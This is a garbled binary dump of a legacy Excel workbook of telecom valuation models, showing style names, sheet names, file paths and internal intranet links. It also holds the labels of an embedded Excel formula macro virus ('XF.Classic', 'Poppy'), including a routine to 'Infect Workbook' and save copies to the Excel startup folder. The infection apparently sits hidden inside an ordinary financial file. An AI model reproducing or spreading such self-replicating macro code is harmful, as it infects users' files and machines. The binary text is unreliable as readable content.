ࡱ> v}  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuxyz{|~Root Entry Fpc5w@ WorkbookgETExtDatazSummaryInformation("  \padministratortrator Ba==p58X@"1[SO1[SO1[SO1[SO1Arial1[SO1 Arial1Arial1[SO1@[SO1ўSO1 [SO1?[SO1[SO1,8[SO1<[SO1>[SO14[SO1[SO1h8[SO18[SO1 [SO1 [SO1 [SO18[SO1[SO1.Times New Roman1[SO1" Helvetica1[SO1$[SO1 [SO14[SO1.Times New Roman1 Tms Rmn1Arial1[SO1* MS Sans Serif1Helv1Geneva1.Times New Roman1_oŖў1* MS Sans Serif1Tahoma1.Times New Roman1wiSO1[SO1Helv1Helv1_oŖў1[SO1* MS Sans Serif1 Helv1Tahoma1. Times New Roman1Arial1[SO1 Arial1 Arial1Arial1Arial1wiSO1& Small Fonts1@Helv1[SO1Tms Rmn1* MS Sans Serif1Helv1Tms Rmn1Arial1.'Times New Roman1wiSO1Arial1h>[SO1[SO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ W))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ g+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ /\$#,##0_);\(\$#,##0\)9\$#,##0_);[Red]\(\$#,##0\);\$#,##0.00_);\(\$#,##0.00\)E \$#,##0.00_);[Red]\(\$#,##0.00\)C"$"_(#,##0.00_);"$"\(#,##0.00\)3#,###" "_);\(#,###" "\) yy\.mm\.dd9#,##0.0_);[Red]\(#,##0.0\)7#,##0.0_)_x;\(#,##0.0\)_x#0.00_);\(0.00\)/#,##0\ \ ;\(#,##0\)\ #\+#,##0.0;\-0.0'0.0_)\%;\(0.0\)\%7#,##0.0_)_%;\(#,##0.0\)_%/#,##0.0_);\(#,##0.0\)#,##0\ M$"$"\ #,##0.00_-;[Red]"$"\ #,##0.00\-#\+#,##0;\-#,##0/\+#,##0.00;\-#,##0.007#,##0.0_)\x;\(#,##0.0\)\x#\ ??/???#,##0.0\ \ \ ;\(#,##0.0\)\ \ c/_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-##,##0;\(#,##0\)S'_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-y:_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)q6_-"$"\ * #,##0_-;_-"$"\ * #,##0\-;_-"$"\ * "-"_-;_-@_-="$"#,##0_);[Red]\("$"#,##0\)I""$"#,##0.00_);[Red]\("$"#,##0.00\) 00#;0##;###>_-"$"\ * #,##0.00_-;_-"$"\ * #,##0.00\-;_-"$"\ * "-"??_-;_-@_-7\$#,##0.00;\(\$#,##0.00\)K#"$"#,##0.0\ \ \ ;\("$"#,##0.0\)\ \ +\$#,##0;\(\$#,##0\)=_ [$ ]* #,##0.00_ ;_ [$ ]* \-#,##0.00_ ;_ [$ ]* "-"??_ ;_ @_ i2_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)                * , - *  / * )     - +  #          "          P #     P      $     ff7 /    !` $ a> %* +   >  , -   9 &!  $  . .  1 ,   1  5 ' " 3  4 " (  %   1    ' +   )    ** '   ' " (        -    +             '  6   ,       *   1  6         , 4   4 -#` "#`   )  %*  <  ) & 1 ) " E + F&  G I"@ I@ F @ @  0  -# "$H  5  && &(  & &   ?% @ '  D @ * &  '  K  /  & & 4" &  4 7 6  :1 ; = >1 =1 B @ H C B @ H B @ H  #@  H"@ J ." A 8 ,- 2- 3  8 6* 9 *%* .! " ) + ) A 8A 8!@ " & ) A A H* A @* A `""@ @ + A "x"@ @ A "x"@  A "x"@  A "x" @  A `@ @+ A `!@ @ +        8  8@ @  !  ! 8^ĉ '^[0]'^ ]_Book1_Book10 ]_Book1_Book1!20% - :_eW[r 32&20% - :_eW[r 3 eQeQ args.style* args.style$CSMOR[0] Accent2 - 40%0 Accent2 - 40% _Currency( _Currency!40% - :_eW[r 32'40% - :_eW[r 3]]CSMORc egeg Accent2 - 60%0 Accent2 - 60%!60% - :_eW[r 32(60% - :_eW[r 3 ~vRk! $]vc "lʑ lʑ #8^ĉ 68^ĉ 6;$_ET_STYLE_NoName_00__Sheet3L_ET_STYLE_NoName_00__Sheet3!%60% - :_eW[r 22$60% - :_eW[r 29&_Currency_sensitivity 2001J_Currency_sensitivity 2001 'h 4h 4 (fJTe,g fJTe,g-)_ET_STYLE_NoName_00_>_ET_STYLE_NoName_00_ *hh+_Book1_1&_Book1_1,ʑ'`e,g 5ʑ'`e,g -h 1h 1 .BlueBlueK/#_Currency_summary for consolidation\#_Currency_summary for consolidationY0* _EM_CMHKconsolidated Debt Ratios 05302001j* _EM_CMHKconsolidated Debt Ratios 053020011  2  _CMHK_2001,  _CMHK_2001 3h 2h 2!460% - :_eW[r 12 60% - :_eW[r 1 5h 3h 3!660% - :_eW[r 42,60% - :_eW[r 4 7QQ 8{{9hgUSCQ sMECfd101B* sMECfd101B ?Gl;`Gl;`@}Y}Y A-N-N!B20% - :_eW[r 52.20% - :_eW[r 5C:_eW[r 1&:_eW[r 1!D20% - :_eW[r 1220% - :_eW[r 1!E40% - :_eW[r 1240% - :_eW[r 1!F20% - :_eW[r 22"20% - :_eW[r 2!G40% - :_eW[r 22#40% - :_eW[r 2H:_eW[r 3&%:_eW[r 3IPSChar"PSCharJ:_eW[r 4&):_eW[r 4Kws] load=c:\cstar20\cstar20.exe run= device=HP LaserJet 4 Plus,HPPCL5MS,LPT1: [Desktop] Wallpaper=C:\WINDOWS\BLUEws] load=c:\cstar20\cstar20.exe run= device=HP LaserJet 4 Plus,HPPCL5MS,LPT1: [Desktop] Wallpaper=C:\WINDOWS\BLUE!L20% - :_eW[r 42*20% - :_eW[r 4!M40% - :_eW[r 42+40% - :_eW[r 4N:_eW[r 5&-:_eW[r 5!O40% - :_eW[r 52/40% - :_eW[r 53P _report1198tables_anneD _report1198tables_anne!Q60% - :_eW[r 52060% - :_eW[r 5R:_eW[r 6&1:_eW[r 6S _1_5u|~YMnbNnUS0 _1_5u|~YMnbNnUST 0,0 NA ( 0,0 NA !U40% - :_eW[r 62340% - :_eW[r 6!V60% - :_eW[r 62460% - :_eW[r 6CW_20100326ؚn^bB[h[b1080PMnnUS26e9eT_20100326ؚn^bB[h[b1080PMnnUS26e9e!X_Book1_1_Book12_Book1_1_Book1Y(1,000)x&(1,000)xZ(1,000)$(1,000)[_Book1"_Book1\ _Book2$ _Book2]_Book1_2&_Book1_2^ Accent2 - 20%0 Accent2 - 20%I_" _CMHK_2001_revised_overall 053001Z" _CMHK_2001_revised_overall 053001` _Book1_Book1. _Book1_Book1?a[+[aP [0.00]_Region Orders (2)P[+[aP [0.00]_Region Orders (2)+b _CMHK_2001_backup1< _CMHK_2001_backup1+c _CMHK_2001_revised< _CMHK_2001_revised#dNew Times Roman4New Times RomanIe" _CMHK_2001_revised_overall 052401Z" _CMHK_2001_revised_overall 052401f_Comma"_Comma;g_Currency_CMHK_2001_backup1L_Currency_CMHK_2001_backup1h }Y_Book1_1( }Y_Book1_1!i_CurrencySpace2_CurrencySpacej  _EM_CMHK(  _EM_CMHK/k _EM_CMHKconsolidated@ _EM_CMHKconsolidated9l_ET_STYLE_NoName_00__Book1J_ET_STYLE_NoName_00__Book1=m_ET_STYLE_NoName_00__Book1_1N_ET_STYLE_NoName_00__Book1_1=n_ET_STYLE_NoName_00__Book1_2N_ET_STYLE_NoName_00__Book1_2o Accent5 - 20%0 Accent5 - 20%)p _GS Assumptions-F: _GS Assumptions-Fq Accent6 - 40%0 Accent6 - 40%r  _GS_Balance.  _GS_Balances  _GS_Cash *  _GS_Cash !t _GS_Cash (2)2 _GS_Cash (2)u ]_Book1_2( ]_Book1_2v _GS_DCF& _GS_DCFw _GS_PNL& _GS_PNL+x _I&O Report Tables< _I&O Report Tablesy RowLevel_1* RowLevel_1Gz! _I&O Report Tables_candicetablesX! _I&O Report Tables_candicetables{ _Multiple( _Multiple|_Percent&_Percent} _PercentSpace0 _PercentSpace ~AFEAFE) _report1198tables: _report1198tables 8^ĉ 58^ĉ 5= _report1198tables_tables_99N _report1198tables_tables_99 _RSA  _RSA9_DN7N]0W:SG13e~RekeHh6RǏ zShf:yR_1_Book10 R~>f:yR_1_Book1 7h_ 17h_ 1 Currency1( Currency1 DateDateDollar"Dollar'Dollar (zero dec)8Dollar (zero dec) EuroEuroGeneral$GeneralCSMO_ eckPC&CSMO_ eckPC GreyGrey Hardcoded 0, Hardcoded 0Header1$Header1Header2$Header2!Input [yellow]2Input [yellow] Input Cells, Input Cells InputArea( InputArea Lines Fill* Lines Fill 8^ĉ 28^ĉ 2 Linked Cells. Linked Cells-Millares [0]_96 Risk>Millares [0]_96 Risk%Millares_96 Risk6Millares_96 Risk)Milliers [0]_!!!GO:Milliers [0]_!!!GO)Moneda [0]_96 Risk:Moneda [0]_96 Risk!Moneda_96 Risk2Moneda_96 Risk!Monaire_!!!GO2Monaire_!!!GO 8^ĉ 38^ĉ 3no dec"no dec#Normal - Style14Normal - Style1 Normal_!!!GO. Normal_!!!GO Normal_Book1. Normal_Book1Notes Notes per.style( per.stylePSInt PSInt Percent [2], Percent [2] Percent_!!!GO0 Percent_!!!GO PillarData* PillarData PillarHeading0 PillarHeading PillarText* PillarText PillarTotal, PillarTotal%Pourcentage_pldt6Pourcentage_pldtPSDate"PSDatePSDec PSDec PSHeading( PSHeadingPSSpacer&PSSpacer RowLevel_0* RowLevel_0 Sheet Head* Sheet Headvs] load= run= NullPort=None device=HP LaserJet 4 Plus,HPPCL5MS,LPT1: [Desktop] Wallpaper=(e) TileWallpaper=0 vs] load= run= NullPort=None device=HP LaserJet 4 Plus,HPPCL5MS,LPT1: [Desktop] Wallpaper=(e) TileWallpaper=0  sMECfcE101A, sMECfcE101A sMECfN101A* sMECfN101A sMECfN102A* sMECfN102A sMECftC101A, sMECftC101A sMECftE101A, sMECftE101Asstot sstot!Standard_AREAS2Standard_AREAStt-t_HVAC Equipment (3)>t_HVAC Equipment (3)-`cX_Region Orders (2)>`cX_Region Orders (2) SS h_085uOeQf[Negb~0 h_085uOeQf[Negb~ h1h1 hhhh 蕒 :_ 3:_ 3]_Book1$]_Book1 ]_Book1_1( ]_Book1_1#]_Book1_1_Book14]_Book1_1_Book1 8^ĉ 48^ĉ 4 R~>f:yL_1_Book10 R~>f:yL_1_Book1}Y_Book1$}Y_Book1#}Y_Book1_1_Book14}Y_Book1_1_Book1 }Y_Book1_2( }Y_Book1_2 PQSVPQSVnf_GX1"nf_GX1 CSRMO[0]_laroux0 CSRMO[0]_laroux CSRMO_laroux* CSRMO_laroux CSMO[0]_ eckPC, CSMO[0]_ eckPC :_ 1:_ 1 :_ 2:_ 2 FUT TyFUT Ty peϑpeϑ/f(__Pacific Region P&L@f(__Pacific Region P&L1[+[aP_Region Orders (2)B[+[aP_Region Orders (2)`{vhoCDKOHSLJVV4"F@ireshk01dPROJECTSGENERALTELECOMSTARIFFSREGIONAL FIXED LINE.xlsTable 8Table 8ASheet2evaTable 8bB@ireshk01dPROJECTSGENERALTELECOMSINDIAMTNLTables-1015W.xls Tables-1015W#REFRLDOCUME~1ZHANGQ~1LOCALS~1TempRar$DI00.625e^eN9Ye^Wz405yb,{5ybzpĉR20090327.xlsSheet1ߞSYkSSheet2b-http://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\WINDOWS\TEMP\temp\evadept.xls Sub summaryP&L Depreciation Balance Sheet Cash FlowDCFEVA1Calculation (2)EVA 2 NotesXpressfuther provincesv.dataF-Assumptions F-Assumptions ContinueGS BS-FGS PNLGS-CFGS-DCFGS-WACCFidelityTablesOutput Dem-IndivDem-HH Questions1997PerfRev-GRev-ZRev-JCost-GCost-ZCost-JAddition of provincesAsset Injection - Summary 3 (2)Asset Injection Summary - 1 (2)Asset Injection Summary - 2 (2)sample NV_dataGS-Subscribers GS_cons.revGS_GDrevGS-ZJrev GS-consCost GS-GDcosts GS-ZJcost#REF!http://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\f.xls 3.6NR;mR[IN 3.7^:WSNR;mRf 3.8Q~SNR;mRf3.9IT/edSNR;mRf5.1.1.1A ^:Wpenc&NRBl6Rf5.1.1.2A Q~SvsQRpenc6Rf5.1.1.3A ~T Npenc6Rf5.1.1.4A e~Q+TQ~OS bD6Rf5.1.1.5A NbcQbD6Rf5.1.1.6A pencb}&pencNRQ(+T3G)bD6Rf5.1.1.7A zfQbD6Rf5.1.1.8A OQbD6Rf5.1.1.9A TekQbD6Rf5.1.1.10A BOSS&~%Rg|~bD6Rf5.1.1.11A ONQbD6Rf5.1.1.12A Q{|~bD6Rf5.1.1.13A ON{tOo`|~bD6Rf5.1.1.14A ?bK\W^bD6Rf#REF!YYYYYYYYYY Y Y Y Y YYYYY S@IRESHK01DProjectsGENERALTELECOMSVALUATIONvaluationNew valuationFIXED1.xls#REFvU_ 3.5NRDn{Gl;`3.5.1RRT T6RN]b,g{3.5.2>yOSRR9(u{Gl;`3.5.2.1^:W~RR9{3.5.2.2Q~~RR9{3.5.2.3ITRR9{3.5.2.4~TSL?eRR9{ 3.5.3bX9(u{ 3.5.4W9(u{9(u 3.5.5T9(u{#REF!%F@ireshk01dPROJECTSGENERALTELECOMSGlobal Wirelessanne_delete.xlsShare Price PerformanceValuation SummaryBad Debtchurn Accnt Rec.Business DiversificationPrevious Share Prices Losing Weight Regional Cell. Stock DCF SummaryStock Pick Matrix Sub - KoreaSub - Hong KongSub - PhilippinesSub - ThailandSub - Malaysia Sub - ChinaSub - Indonesia Sub - India Sub - India 1 Sub - Taiwan CompetitionUS$ ARPU Ranking Kelli-ARPU Kelli-EBITDAKelli-net profits US$ rankingKelli-Currencies Kelli-DebtKelli-CashflowsCOSvGDPAddmktCons%ConspenGrowth Front table#REF! H>@IRESHK01DProjectsGENERALTELECOMSTHAILANDTACEM-TAC.xls Factsheet Quarterly PNLRevenuesCosts Depreciation Balance Sheet Cash FlowDCF SensitivitiesEVA1EVA 2 sample NV_dataGS PNL-F GS Balance GS CashflowGS AssumptionsGS- WACCGS- DCF NotesXpressDATAMacro1v.dataNV-dataCFBS F-AssumptionsWACCDCF-F1EVAEM-TAC DCF & WACCGS Assumptions-F#REF margin cht Facts & AuditChangesInterimCapital Structure Net add chtGS-CapexGS BS-FGS-CF GS-DCF-F1F-dataReportOld Qtly Sheet QuarterlyEVA 2Concession ConversionROICCompany profileGS dataGEMGEMSSheet1EROCE GS AssumesSummaryQtlyExternalAssoc Detailed DCFCROCICompsCompany profile back-upGS data back-upCompany profile F-QtlytablesOaktree#REF!uhttp://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\new acquisition model.xlsAddition of provinces (3)#REF!}http://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\parekh\daily\Consensus Estimates.xlsConsensus Estimates#REFhttp://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\TEMP\NEWTABL1_97.xlsEBITDASheet1 DDETABLE ControlComments`%http://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\TEMP\tables\tables\EM_CTnew.xls1997Perf Sub summaryInterimsP&L NotesXpressRev-GRev-ZRev-JCost-GCost-ZCost-JCosts - Holding Co Depreciation Balance Sheet Cash FlowDCFEVA1EVA 2Addition of provincesAsset Injection Summarysample NV_datav.dataGS-Subscribers GS_cons.revGS_GDrevGS-ZJrev GS-consCost GS-GDcosts GS-ZJcostF-Assumptions F-Assumptions ContinueGS BS-FGS PNLGS-CFGS-DCFGS-WACC#REF!http://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\local\projects\silkscroll\valuation\Jiangsu\CTHK_FPM_98 01 14 Credit.xls#" exch_rate_1#" exch_rate_2#" exch_rate_3^&@GMCC_CWKDATAMJGSM_XLSHBBZBK.XLSO`~hSheet11-10glQS TykXh`Q 2.1a-yR݋9 2.2a-VgQ݋9 2.3a-/noS݋9 2.4a-VE݋9 2.5a-IP݋92.6a-wgQSwEQ+oJ 2.7a-VEQ+oJ2.8a-gy9 2.9.1a-Q~{6eeQ 2.9.2a-eQ+o8n2.9.5a-Xk 4.1-OW^QY 5.1-vQN^6e>k8-X[5.2-N^>k6.1-_Jd9(u 10-vQNAmRnjN11-gbD7B-X[7B.1-X[X['vph7.1X['vph7.28.1-V[njN 8.2-^uN(uV[DN9-(W^] z10-] zirD15-eb_njN 11-g_Jd9(u17-wgP>k18-^N^>k19-6e^>k20-vQN^N>k21-^Nzё22-vQN^N>k23-c9(u 24-Nt^Q0Rgvg:P25-gP>k 25.1-gP>k26-g^N>k 26.1-g^N>k 25-eQQ96e9hQ29-sQT^6eN30-nj,gbb 31-~%yÌT~16-*gN] z>k17-eb_njN 18.1-^N^>k 18.2-vQN^N>k 18.3-c9(u 18.4-vQ[^N>k 18.5-*gNzё 18.6-6e^>k19-nj,gbb 20-~%yÌT~23-b gNy24-(W^] z~lV[DN`Q 27.1NMRt^^_cvte28.1-nxfNDh(5uO)Sheet8Sheet7Sheet6Sheet5Sheet4Sheet3Sheet228.2-nxfNDh(?e@\)28.3-nxfNDh(yRƖV)28.4-nxfNDh([|TlQS)28.5-nxfNDh(eYO)28.6-nxfNDh(vQN5usQTlQS)36-nj,g_/e37-AS'YO^FUHBBZBK#hQSbpS#QYYYYYYYYYY Y Y Y Y YYYYYYYYYYYYYYYYYYY Y!Y"Y#Y$Y%Y&Y'Y(Y)Y*Y+Y,Y-Y.Y/Y0Y1Y2Y3Y4Y5Y6Y7Y8Y9Y:Y;Y<Y=Y>Y?Y@YAYBYCYDYEYFYGYHYIYJYKYLYMYNYOYPYQYRYSYTYUYVYWYXYYYZY[Y\c@GMCC_CWKDATAhQ.XLSSheet1Sheet2Sheet3hQ#ԏV[݋#h#QEXCEL#O9e#ȉ#;N z^.SbpSN@NTS01jhcunzippedEastern Airline FEBackup of Backup of LINDA LISTONE.xlkOpenR!@NTS01jhcCHRARBEJDEQ4DK.XLSMainF@NTS01jhcunzippedEastern Airline FEGPGP_Ph1SBB-OIsHel-OIs.xlsSW-TEOG@NTS01jhcunzippedEastern Airline FEGPtamerDOSTEMPGPTLBX90.xlsToolboxRPOWER ASSUMPTIONSPOWER ASSUMPTIONSI@NTS01jhcunzippedEastern Airline FESparesFILESSMCTS2SMCTSSP2.XLSeqpmad2C@NTS01jhcunzippedEastern Airline FEGPtamerWINDOWSGP_AT.XLSFinanc. OverviewToolboxl+AWINDOWSTEMPGOLDPYR4ARENTOTOOLBOX.XLSToolboxP@NTS01jhcunzippedEastern Airline FEfnl-gp2ToolboxGPKorOSP_Becht_Fin.xlsG.1R-Shou COP Gf     $ _Fill=a<aa<aaa96 AAA_DOCTOPSAAA_SET* AAA_duserOFFL )AAB_Addin5AAB_Description for addin 5,Description for addin 5,Description for addin 5,Description for addin 5,Description for addin 5,Description for addin 5abc<* aiu_bottom<( All_00_PS:#* All_00_Rev: ( All_97_PS<* All_97_Rev:( All_98_PS:!* All_98_Rev:( All_99_PS:"* All_99_Rev:* All_EPS_00:* All_EPS_98:* All_EPS_99:, All_Mkt_Cap:. All_Off_High: * All_Stocks:bt: Bust: CABLE<  cap=6 Capitalization;* Cashflow=. Catalog_Path: * CFormats; ((  chg=4Choices_Wrapper9 !4codeDestination:  , CODELK_Path: &Continue:( Cov_00_PS:#* Cov_00_Rev: ( Cov_97_PS<* Cov_97_Rev:( Cov_98_PS:!* Cov_98_Rev:( Cov_99_PS:"* Cov_99_Rev:* Cov_EPS_00:* Cov_EPS_98:* Cov_EPS_99:, Cov_Mkt_Cap:. Cov_Off_High: , Cov_Perf_97:, Cov_Perf_98:, Cov_Perf_99:. cov_perf_99b: . Cov_Univ_Avg:2Cov_Univ_Total:( CTopics; &&  dep=tDocument_array`Book1[]f[bRt^Ye^0RON[;pGl;`h.xls8 Documents_array;* DSDDE_Path: " EBIT=0 Excel_Version: , exch_rate_19 , exch_rate_29 , exch_rate_39 * ExtFiles;  , F_AFLCFM1=, F_AFLCFM2=, F_AFLPEM3=, F_AFLPEM4=, F_AFLPEMb=* F_AFLSD1=* F_AFLSD2=BF_Book_value_per_share<< < < <FAMERangeDJ_BALAL28<<FAMERangeDJ_BALAM28<<FAMERangeDJ_BALAN28<< <FAMERangeGCI_BALD62<<FAMERangeGCI_BALD63<B FAMERangeKRI_BALAL99=B FAMERangeKRI_BALAM99;\\B FAMERangeKRI_BALAN99=( Formats;  ''FRC:" free=$ FREQS; ))"Growth:( Growth_97:( Growth_98:( Growth_99: Hello:$hostfee: . hraiu_bottom<hvac< HWSheet, Last_Update: 6 Liberalization= Links: !&LiveReqs: "Macro1:"MakeIt:$MemFree: &MemTotal: 4Module.Prix_SMC9 l$Morning:&. Off_High_Cov: 0 Operating_Sys:  OS= OTHER<  PA7=  PA8=  PD1=" PE12=" PE13=  PE6=  PE7=  PE8=  PE9=" perf;$Perf_97:$Perf_98:$Perf_99:0 Performance;   PH1=  PI1=  PK1=  PK3= Poppy:. pr_toolbox;O$ price;  . Print_Area;) Print_Titles*&Prix_SMC9 * Recorder;. reqdetails; X( Results; <( Revenue_2<rs: * s_c_list;  SCG=&Schedule: "sdlfee:  Setup: $sFormat: * sFreq: *. Share_Data=, ShowDetails: !, solar_ratio:"ss7fee:& sTable;  #*"sTopic: *$subsfee: "sYesNo: * Table: ( TableName: TACS1`   scenario 1* scenario1drivers* Input-ModuleOp Stats* Input-Module income stmt* Ebit-calc Cash Flow* Input-Module Balance Sheet* Balance-Sheetworkings* Ebit-calc working cap*Working-Capital dcf value*DCFcheck* Input-ModuleTACS3`   scenario 1* scenario1drivers* Input-ModuleOp Stats* Input-Module income stmt* Ebit-calc Cash Flow* Input-Module Balance Sheet* Balance-Sheetworkings* Ebit-calc working cap*Working-Capital dcf value*DCFcheck* Input-Module<TestAddTest RefersTo1  tim= Title: ( toolbox;)& Topics; %%( TotalReqs: ( TotalTime: < 0 UniqueRange_0<0 UniqueRange_1<$V5.1Fee:  VAL; wk= wrn.output.`   scenario 1* scenario1drivers* Input-ModuleOp Stats* Input-Module income stmt* Ebit-calc Cash Flow* Input-Module Balance Sheet* Balance-Sheetworkings* Ebit-calc working cap*Working-Capital dcf value*DCFcheck* Input-Module$ YesNo; $$. Z32_Cost_red<ԏV[݋9" vV;h9hQSbpS9Q9$QEXCEL9O9e9ȉ9";N z^.SbpS9lS'Yf[Ye^tONUSMOf[`NGl;`hUSMO^SY T'`+Rt^LyN N f[`N0[;pUSMOwbkeT|5u݋Yl b [~{W[vz[]f[bRt^Ye^0RON[;pGl;`h.xlsBook19C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1.!**Auto and On Sheet Starts Here**Classic.Poppy by VicodinESWith Lord Natas)An Excel Formula Macro Virus (XF.Classic))Hydrocodone/APAP 10-650 For Your Computer(C) The Narkotic Network 1998**Simple Payload****Set Our Values and Paths**5**Add New Workbook, Infect It, Save It As Book1.xls****Infect Workbook**     %  dMbP?_*+%&?'?(?)?" d??&U} }  }  }  } } }  } } }    @ v@ 9       ,@ @ @              ~ ? ~ @ ~ @ ~ @ ~ @ ~ @                *"*******>@< "   ggD   %  dMbP?_*+%&?'?(?)?" d??&ccU} }  }  }         *         $, >@< ggD   !#$%&'(*+,-./0 ^=  Oh+'0|    (4<DLt1@2@7u&@fMicrosoft Excel՜.+,D՜.+,\   (\dlKSOProductBuildVerDocumentSummaryInformation8)2052-10.1.0.5346